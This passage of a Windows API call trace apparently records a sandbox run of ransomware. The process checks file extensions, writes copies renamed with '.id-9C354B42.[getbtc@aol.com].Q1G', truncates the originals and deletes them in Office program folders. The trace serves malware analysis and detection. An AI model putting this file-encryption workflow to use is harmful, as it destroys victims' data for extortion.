returned 3 [0248.637] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0248.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_K_COL.HXK") returned 63 [0248.637] lstrlenW (lpString=".dbf") returned 4 [0248.637] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0248.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_K_COL.HXK") returned 63 [0248.637] lstrlenW (lpString=".1cd") returned 4 [0248.637] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0248.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_K_COL.HXK") returned 63 [0248.638] lstrlenW (lpString=".jpg") returned 4 [0248.638] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0248.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_K_COL.HXK") returned 63 [0248.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_K_COL.HXK") returned 63 [0248.638] lstrlenW (lpString=".doc") returned 4 [0248.638] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0248.638] lstrlenW (lpString=".docx") returned 5 [0248.638] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0248.638] lstrlenW (lpString=".pdf") returned 4 [0248.638] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0248.638] lstrlenW (lpString=".xls") returned 4 [0248.638] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0248.638] lstrlenW (lpString=".xlsx") returned 5 [0248.638] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0248.638] lstrlenW (lpString=".ppt") returned 4 [0248.638] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0248.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_K_COL.HXK") returned 63 [0248.638] lstrlenW (lpString=".zip") returned 4 [0248.638] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0248.638] lstrlenW (lpString=".rar") returned 4 [0248.638] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0248.638] lstrlenW (lpString=".bz2") returned 4 [0248.638] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0248.638] lstrlenW (lpString=".7z") returned 3 [0248.638] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0248.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_K_COL.HXK") returned 63 [0248.638] lstrlenW (lpString=".dbf") returned 4 [0248.638] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0248.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_K_COL.HXK") returned 63 [0248.639] lstrlenW (lpString=".1cd") returned 4 [0248.639] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0248.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_K_COL.HXK") returned 63 [0248.639] lstrlenW (lpString=".jpg") returned 4 [0248.639] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0248.639] lstrcmpiW (lpString1=".DLL", lpString2=".Q1G") returned -1 [0248.639] lstrlenW (lpString="GRINTL32.DLL") returned 12 [0248.639] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grintl32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0248.654] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=208256) returned 1 [0248.654] CloseHandle (hObject=0x398) returned 1 [0248.654] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grintl32.dll")) returned 0x20 [0248.654] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grintl32.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0248.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grintl32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0248.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL") returned 60 [0248.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL") returned 60 [0248.654] lstrlenW (lpString=".doc") returned 4 [0248.654] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0248.654] lstrlenW (lpString=".docx") returned 5 [0248.655] lstrcmpiW (lpString1=".docx", lpString2="2.DLL") returned -1 [0248.655] lstrlenW (lpString=".pdf") returned 4 [0248.655] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0248.655] lstrlenW (lpString=".xls") returned 4 [0248.655] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0248.655] lstrlenW (lpString=".xlsx") returned 5 [0248.655] lstrcmpiW (lpString1=".xlsx", lpString2="2.DLL") returned -1 [0248.655] lstrlenW (lpString=".ppt") returned 4 [0248.655] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0248.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL") returned 60 [0248.655] lstrlenW (lpString=".zip") returned 4 [0248.655] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0248.655] lstrlenW (lpString=".rar") returned 4 [0248.655] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0248.655] lstrlenW (lpString=".bz2") returned 4 [0248.655] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0248.655] lstrlenW (lpString=".7z") returned 3 [0248.655] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0248.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL") returned 60 [0248.655] lstrlenW (lpString=".dbf") returned 4 [0248.655] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0248.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL") returned 60 [0248.655] lstrlenW (lpString=".1cd") returned 4 [0248.655] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0248.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL") returned 60 [0248.655] lstrlenW (lpString=".jpg") returned 4 [0248.655] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0248.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL") returned 60 [0248.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL") returned 60 [0248.655] lstrlenW (lpString=".doc") returned 4 [0248.655] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0248.655] lstrlenW (lpString=".docx") returned 5 [0248.655] lstrcmpiW (lpString1=".docx", lpString2="2.DLL") returned -1 [0248.655] lstrlenW (lpString=".pdf") returned 4 [0248.655] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0248.655] lstrlenW (lpString=".xls") returned 4 [0248.656] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0248.656] lstrlenW (lpString=".xlsx") returned 5 [0248.656] lstrcmpiW (lpString1=".xlsx", lpString2="2.DLL") returned -1 [0248.656] lstrlenW (lpString=".ppt") returned 4 [0248.656] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0248.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL") returned 60 [0248.656] lstrlenW (lpString=".zip") returned 4 [0248.656] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0248.656] lstrlenW (lpString=".rar") returned 4 [0248.656] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0248.656] lstrlenW (lpString=".bz2") returned 4 [0248.656] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0248.656] lstrlenW (lpString=".7z") returned 3 [0248.656] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0248.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL") returned 60 [0248.656] lstrlenW (lpString=".dbf") returned 4 [0248.656] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0248.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL") returned 60 [0248.656] lstrlenW (lpString=".1cd") returned 4 [0248.656] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0248.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL") returned 60 [0248.656] lstrlenW (lpString=".jpg") returned 4 [0248.656] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0248.656] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".Q1G") returned -1 [0248.656] lstrlenW (lpString="GRINTL32.DLL.IDX_DLL") returned 20 [0248.656] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grintl32.dll.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0248.657] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=37760) returned 1 [0248.657] CloseHandle (hObject=0x398) returned 1 [0248.657] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grintl32.dll.idx_dll")) returned 0x20 [0248.657] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.IDX_DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grintl32.dll.idx_dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0248.657] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grintl32.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0248.657] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.657] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.657] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.IDX_DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grintl32.dll.idx_dll.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0248.658] GetLastError () returned 0x0 [0248.658] ReadFile (in: hFile=0x398, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x9380, lpOverlapped=0x0) returned 1 [0248.660] WriteFile (in: hFile=0x360, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x9390, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0x9390, lpOverlapped=0x0) returned 1 [0248.661] ReadFile (in: hFile=0x398, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0248.661] WriteFile (in: hFile=0x360, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xfc, lpOverlapped=0x0) returned 1 [0248.662] SetEndOfFile (hFile=0x360) returned 1 [0248.662] CloseHandle (hObject=0x360) returned 1 [0248.662] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.662] SetEndOfFile (hFile=0x398) returned 1 [0248.665] CloseHandle (hObject=0x398) returned 1 [0248.665] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.IDX_DLL.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0248.666] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grintl32.dll.idx_dll")) returned 1 [0248.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.IDX_DLL") returned 68 [0248.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.IDX_DLL") returned 68 [0248.666] lstrlenW (lpString=".doc") returned 4 [0248.666] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0248.666] lstrlenW (lpString=".docx") returned 5 [0248.666] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0248.666] lstrlenW (lpString=".pdf") returned 4 [0248.666] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0248.666] lstrlenW (lpString=".xls") returned 4 [0248.666] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0248.666] lstrlenW (lpString=".xlsx") returned 5 [0248.666] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0248.666] lstrlenW (lpString=".ppt") returned 4 [0248.666] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0248.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.IDX_DLL") returned 68 [0248.666] lstrlenW (lpString=".zip") returned 4 [0248.666] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0248.666] lstrlenW (lpString=".rar") returned 4 [0248.666] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0248.666] lstrlenW (lpString=".bz2") returned 4 [0248.667] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0248.667] lstrlenW (lpString=".7z") returned 3 [0248.667] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0248.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.IDX_DLL") returned 68 [0248.667] lstrlenW (lpString=".dbf") returned 4 [0248.667] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0248.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.IDX_DLL") returned 68 [0248.667] lstrlenW (lpString=".1cd") returned 4 [0248.667] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0248.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.IDX_DLL") returned 68 [0248.667] lstrlenW (lpString=".jpg") returned 4 [0248.667] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0248.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.IDX_DLL") returned 68 [0248.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.IDX_DLL") returned 68 [0248.667] lstrlenW (lpString=".doc") returned 4 [0248.667] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0248.667] lstrlenW (lpString=".docx") returned 5 [0248.667] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0248.667] lstrlenW (lpString=".pdf") returned 4 [0248.667] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0248.667] lstrlenW (lpString=".xls") returned 4 [0248.667] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0248.667] lstrlenW (lpString=".xlsx") returned 5 [0248.667] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0248.667] lstrlenW (lpString=".ppt") returned 4 [0248.667] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0248.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.IDX_DLL") returned 68 [0248.667] lstrlenW (lpString=".zip") returned 4 [0248.667] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0248.667] lstrlenW (lpString=".rar") returned 4 [0248.667] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0248.667] lstrlenW (lpString=".bz2") returned 4 [0248.667] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0248.667] lstrlenW (lpString=".7z") returned 3 [0248.667] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0248.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.IDX_DLL") returned 68 [0248.668] lstrlenW (lpString=".dbf") returned 4 [0248.668] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0248.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.IDX_DLL") returned 68 [0248.668] lstrlenW (lpString=".1cd") returned 4 [0248.668] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0248.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.IDX_DLL") returned 68 [0248.668] lstrlenW (lpString=".jpg") returned 4 [0248.668] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0248.668] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".Q1G") returned -1 [0248.668] lstrlenW (lpString="GRINTL32.REST.IDX_DLL") returned 21 [0248.668] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grintl32.rest.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0248.724] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=100224) returned 1 [0248.724] CloseHandle (hObject=0x39c) returned 1 [0248.724] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grintl32.rest.idx_dll")) returned 0x20 [0248.724] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.REST.IDX_DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grintl32.rest.idx_dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0248.781] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grintl32.rest.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0248.782] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.782] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.782] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.REST.IDX_DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grintl32.rest.idx_dll.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0248.782] GetLastError () returned 0x0 [0248.782] ReadFile (in: hFile=0x3b0, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x18780, lpOverlapped=0x0) returned 1 [0248.920] WriteFile (in: hFile=0x204, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x18790, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0x18790, lpOverlapped=0x0) returned 1 [0248.923] ReadFile (in: hFile=0x3b0, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0248.923] WriteFile (in: hFile=0x204, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xfe, lpOverlapped=0x0) returned 1 [0248.923] SetEndOfFile (hFile=0x204) returned 1 [0248.923] CloseHandle (hObject=0x204) returned 1 [0248.923] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.923] SetEndOfFile (hFile=0x3b0) returned 1 [0248.928] CloseHandle (hObject=0x3b0) returned 1 [0248.928] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.REST.IDX_DLL.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0248.934] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grintl32.rest.idx_dll")) returned 1 [0248.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.REST.IDX_DLL") returned 69 [0248.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.REST.IDX_DLL") returned 69 [0248.935] lstrlenW (lpString=".doc") returned 4 [0248.935] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0248.935] lstrlenW (lpString=".docx") returned 5 [0248.935] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0248.935] lstrlenW (lpString=".pdf") returned 4 [0248.935] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0248.935] lstrlenW (lpString=".xls") returned 4 [0248.935] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0248.935] lstrlenW (lpString=".xlsx") returned 5 [0248.935] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0248.935] lstrlenW (lpString=".ppt") returned 4 [0248.935] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0248.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.REST.IDX_DLL") returned 69 [0248.935] lstrlenW (lpString=".zip") returned 4 [0248.935] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0248.935] lstrlenW (lpString=".rar") returned 4 [0248.935] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0248.935] lstrlenW (lpString=".bz2") returned 4 [0248.935] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0248.935] lstrlenW (lpString=".7z") returned 3 [0248.935] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0248.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.REST.IDX_DLL") returned 69 [0248.935] lstrlenW (lpString=".dbf") returned 4 [0248.935] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0248.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.REST.IDX_DLL") returned 69 [0248.935] lstrlenW (lpString=".1cd") returned 4 [0248.935] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0248.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.REST.IDX_DLL") returned 69 [0248.935] lstrlenW (lpString=".jpg") returned 4 [0248.935] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0248.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.REST.IDX_DLL") returned 69 [0248.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.REST.IDX_DLL") returned 69 [0248.936] lstrlenW (lpString=".doc") returned 4 [0248.936] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0248.936] lstrlenW (lpString=".docx") returned 5 [0248.936] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0248.936] lstrlenW (lpString=".pdf") returned 4 [0248.936] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0248.936] lstrlenW (lpString=".xls") returned 4 [0248.936] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0248.936] lstrlenW (lpString=".xlsx") returned 5 [0248.936] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0248.936] lstrlenW (lpString=".ppt") returned 4 [0248.936] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0248.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.REST.IDX_DLL") returned 69 [0248.936] lstrlenW (lpString=".zip") returned 4 [0248.936] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0248.936] lstrlenW (lpString=".rar") returned 4 [0248.936] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0248.936] lstrlenW (lpString=".bz2") returned 4 [0248.936] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0248.936] lstrlenW (lpString=".7z") returned 3 [0248.936] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0248.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.REST.IDX_DLL") returned 69 [0248.936] lstrlenW (lpString=".dbf") returned 4 [0248.936] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0248.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.REST.IDX_DLL") returned 69 [0248.936] lstrlenW (lpString=".1cd") returned 4 [0248.936] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0248.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.REST.IDX_DLL") returned 69 [0248.936] lstrlenW (lpString=".jpg") returned 4 [0248.936] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0248.936] lstrcmpiW (lpString1=".HXS", lpString2=".Q1G") returned -1 [0248.936] lstrlenW (lpString="INFOPATH.HXS") returned 12 [0248.937] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, 